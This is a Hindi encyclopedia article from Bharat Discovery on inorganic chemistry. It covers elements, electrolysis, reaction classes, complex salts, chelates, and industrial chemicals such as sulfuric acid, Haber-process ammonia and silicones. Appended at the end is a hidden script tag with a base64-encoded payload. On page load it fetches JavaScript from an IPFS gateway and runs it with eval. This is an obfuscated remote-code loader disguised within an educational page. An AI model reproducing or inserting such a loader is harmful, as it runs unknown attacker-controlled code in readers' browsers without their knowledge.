अकार्बनिक रसायन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

अकार्बनिक रसायन 'रसायन विज्ञान' की तीन शाखाओं में से एक शाखा है। कार्बन को छोड़कर शेष सभी तत्त्वों और अनेक यौगिकों की 'मीमांसा'[1] करना 'अकार्बनिक रसायन' का क्षेत्र है। बोरोन, सिलिकॉन, जर्मेनियम आदि तत्त्व भी लगभग उसी प्रकार के विविध यौगिक बनाते हैं, जैसे कार्बन। किंतु इस पार्थिक सृष्टि में उनका उतना महत्त्व नहीं हैं, जितना कार्बन यौगिकों का। इसलिये कार्बनिक रसायन का अन्य तत्त्वों से पृथक् रासायनिक क्षेत्र मान लिया गया है। मनुष्य एवं वनस्पतियों का जीवन कार्बन यौगिकों के चक्र पर निर्भर है। अतः कार्बनिक यौगिकों को एक अलग उपांग में रखना कुछ अनुचित नहीं है। यह कार्बन ही है, जो पृथ्वी पर पाए जाने वाले सामान्य ताप (00 से 400) पर अनेक स्थायी समावयवी यौगिक दे सकता है।

प्रमुख तत्त्व

अकार्बनिक रसायन में जिन तत्त्वों का उल्लेख है, उनमें से कुछ धातु हैं और कुछ अधातु। अधातु तत्वों में कुछ मुख्य नाम निम्नलिखित हैं-

गैस

हाइड्रोजन, हीलियम, नाइट्रोजन, ऑक्सीजन, फ्लोरीन, निऑन, क्लोरीन, आर्गन, क्रिप्टन तथा ज़ेनॉन

ठोस

बोरोन, कार्बन, सिलिकॉन, फॉस्फोरस, गंधक, जर्मेनियम, आर्सेनिक, मोलिब्डेनम, टेलुरियम तथा आयोडिन

द्रव

ब्रोमिन

धातुओं में केवल पादर ऐसा है, जो साधारण ताप पर द्रव है। प्राचीन ज्ञात धातुएँ सोना, चाँदी, लोहा, ताँबा, सीसा, जस्ता और पारा हैं। लगभग सभी सभ्य देशों का इन धातुओं से पुराना परिचय है। सोना और चाँदी स्वतंत्र रूप में प्रकृति में पाए जाते हैं। शेष धातुएँ प्रकृति में सल्फाइड, सल्फेट या ऑक्साइड के रूप में मिलती हैं। इनसे शुद्ध धातुएँ प्राप्त करना सरल था। धातुओं के उन यौगिकों को, जिनमें से धातुएँ आसानी से अलग की जा सकती थीं। इनसे धातु शुद्ध रूप में मुक्त हो जाती है।

विद्युत का उपयोग

फैराडे और डेवी के समय से विद्युत धारा का उपयोग अत्यधिक बढ़ गया और वैसे-वैसे डायनेमो की बिजली अधिक सस्ती प्राप्त होने लगी। उसका उपयोग विद्युत द्विश्लेषण में बढ़ने लगा। उसकी सहायता से लवणों में से[2] अनेक धातुएँ पृथक् की जा सकीं। ताँबे का एक यौगिक 'तूतिया'[3] है। जल में बने इसके विलयन में से विद्युत धारा द्वारा ताँबा पृथक् किया जा सकता है। विद्युत धारा के प्रयोग से मैग्नीशियम, सोडियम, लिथियम, पोटैशियम, कैल्सियम, बेरियम आदि धातुएँ, उनके लवण को गलाकर, पृथक् की गईं।

यौगिक बनाने के प्रयास

अकार्बनिक रसायन के प्रारंभिक युग में धातुओं के जिन यौगिकों को बनाने का विशेष प्रयास किया जाता था, वे निम्नलिखित थे-

ऑक्साइड, हाइड्रॉक्साइड, फ्लोराइड, क्लोराइड, ब्रोमाइड, आयोडाइड, सल्फाइड, सल्फेट, थायोसल्फेट, ऐसीटेट, ऑक्सलेट, नाइट्राइड, नाइट्रेट, सायनाइड, कार्बाइड, कार्बोनेट, बाइकार्बोनेट, फॉस्फेट, आर्सेनिक, टंग्स्टन, मालिब्डेट, यूरेनेट। इन यौगिकों का तैयार करना साधारणतया सरल है। ऑक्साइड या कार्बोनेट पर उपयुक्त अम्लों की अभिक्रिया से ये बनाए जा सकते हैं। विलेय लवणों के विलयनों में ऋण आयन[4] मिलाकर इनमें से कुछ के अवक्षेप लाए जा सकते हैं, यदि ये अवक्षेप्य लवण पानी में अविलेय हों।

अकार्बनिक रसायन का विभाजन

अकार्बनिक रसायन की अनेक अभिक्रियाएँ चार वर्गों में विभाजित की जाती हैं-

  1. शिथिलीकरण या उदासीनीकरण
  2. अवक्षेपण
  3. अपचयन या अवकरण
  4. उपचयन या ऑक्सीकरण

अंतिम दो का एक संयुक्त नाम अपचयोपचय या रिडॉक्स (redox) अभिक्रिया भी दिया गया है।

संकुल, या संकीर्ण लवण

कभी कभी ऐसा देखा जाता है कि अवक्षेपक की अधिक मात्रा छोड़ने पर अवक्षेप घुल जाता है। यह विलेय वस्तुत: संकुल आयन बनने के कारण होता है। रजत नाइट्रेट के विलयन में पोटैशियम साइआनाइड का विलयन छोड़ने पर रजत साइआनाइड का अवक्षेप आता है, पर यह अवक्षेप पोटैशियम साइआनाइड और मिलाने पर घुल जाता है। ताम्र सल्फेट के विलयन में अमोनिया छोड़ने पर पहले तो ताम्र हाइड्रॉक्साइड का अवक्षेप आवेगा, जो अमोनिया के अधिक्य में घुलकर चटक नीला विलयन देगा। इसमें [ता (ना हा3)4]++ [Cu (N H3)4]++ संकुल आयन बनता है।

कीलेट, या प्रखर यौगिक

बहुत से धात्विक आयन कार्बनिक अभिकर्मकों के साथ विचित्र यौगिक बनाते हैं, जिनमें संयोजकताएँ नखर, या चील के पंजों, के समान अणुओं को थामे रहती हैं। इन्हें कीलेट (Chelate) या नखर यौगिक कहते हैं।

अकार्बनिक पदार्थों के औद्योगिक उपयोग

कुछ अकार्बनिक यौगिक इतनी अधिक व्यापारिक मात्रा में तैयार किए जाते हैं कि इनका नाम 'हैवी केमिकल्स' पड़ गया है। सलफ्यूरिक अम्ल, हाइड्रोक्लोरिक अम्ल, नाइट्रिक अम्ल, कॉस्टिक सोडा, सोडियम कार्बोनेट, अमोनियम लवण आदि की गिनती इस वर्ग में है। प्रत्येक वर्ष एक करोड़ टन गंधक सलफ्यूरिक अम्ल के रूप में, 30 लाख टन नाइट्रोजन अमोनिया और नाइट्रिक अम्ल के रूप में, और 20 लाख टन क्लोरीन हाइड्रोक्लोरिक अम्ल, ब्लीचिंग पाउडर (विरंजन चूर्ण) और क्लोरीन के रूप में व्यवसाय में खर्च होता है।

हवा के नाइट्रोजन का उपयोग नाइट्रोजन यौगिकों के बनाने में होता है। नाइट्रोजन को ऑक्सीजन के साथ संयुक्त कराके नाइट्रिक ऑक्साइड बनाते हैं, पर अमोनिया के आक्सीकरण द्वारा नाइट्रिक ऑक्साइड बनाना अच्छी विधि है। ऑस्टवाल्ड (Ostwald) ने यह बताया कि प्लैटिनम जाली के पृष्ठ पर, 800° पर अमोनिया का ऑक्सीकरण होता है। इस नाइट्रिक ऑक्साइड से नाइट्रोजन परॉक्साइड और नाइट्रिक अम्ल एवं नाइट्रेट तैयार कर लेते हैं। यह सफल व्यावसायिक विधि है।

हावर (Haber) ने हवा के नाइट्रोजन से अमोनिया तैयार करने की व्यापारिक विधि 1913 ई में प्रथम यूरोपीय महायुद्ध के समय निकाली। 250 वायुमंडल दाब पर और 500°C - 550°C ताप पर लौह धातु से उत्प्रेरित होकर, लगभग 10% अभिक्रिया नाइट्रोजन और हाइड्रोजन के संयोग की होती है। अब तो लगभग सभी देशों में अमोनिया और अमोनिया लवण इस विधि से तैयार किए जाते हैं, जिनका विशेष उपयोग खाद के रूप में होता है। नाइट्रोजन का व्यावसायिक उपयोग विस्फोटकों में भी होता है।

  • सलफ्यूरिक अम्ल का व्यवसाय संसार के प्रमुखतम व्यवसायों में माना जाता है।
  • सलफ्यूरिक आदि अम्लों के समान ही क्षारों के निर्माण की भी उपयोगिता है।
  • अकार्बनिक व्यवसायों में विरंजक चूर्ण का व्यवसाय भी बड़े महत्व का है।

सिलिकेटों का उपयोग अब बढ़ता जा रहा है। काँच का व्यवसाय तो प्रसिद्ध ही है। सिलिकन और कार्बनिक यौगिकों से बने कुछ यौगिकों का नाम सिलिकोन है। ये मोम से मिलकर बहुत अच्छा स्नेहक (lubricant) और पॉलिश बनाते हैं। ये सूत के धागों को अच्छी चमक देते हैं। इनसे बने रेज़िन विद्युत्‌ अवरोधक होते हैं। सिलिकोन से रबर के समान लचीले पदार्थ भी बनते हैं। अभ्रक नामक प्राकृतिक सिलिकेट अपने विविध गुणों के लिए प्रसिद्ध है।[5]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. गम्भीर विवेचन
  2. उनके विलयनों के विद्युद्विश्लेषण से अथवा ऊँचे ताप पर गलित लवणों के विद्युत विद्युतद्विश्लेषण से
  3. कॉपर सल्फेट
  4. ऐनायन
  5. रसायन विज्ञान (हिन्दी) भारतखोज। अभिगमन तिथि: 14 फरवरी, 2015।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>